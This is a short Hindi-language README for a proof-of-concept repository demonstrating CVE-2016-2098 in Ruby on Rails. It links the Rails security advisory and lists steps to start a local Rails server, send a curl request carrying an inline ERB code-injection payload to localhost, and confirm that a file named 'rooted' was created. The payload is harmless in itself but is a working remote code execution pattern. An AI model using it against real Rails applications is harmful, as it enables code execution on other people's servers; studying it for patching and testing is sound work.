dh-CVE_2016_2098

के लिए अवधारणा प्रमाण https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q

== शोषण:

1. आपको केवल rails सर्वर इस प्रकार चलाना चाहिए जिससे आप निश्चित हों कि इससे आप शोषण के लिए खुले नहीं होंगे
2. rails s चलाएँ
3. निम्नलिखित कमांड निष्पादित करें curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' {"id" : { "inline" : "<%= FileUtils.touch \"rooted\"%>"}}' http://localhost:3000/exploits
4. सत्यापित करें कि फ़ाइल "rooted" अब प्रोजेक्ट निर्देशिका में मौजूद है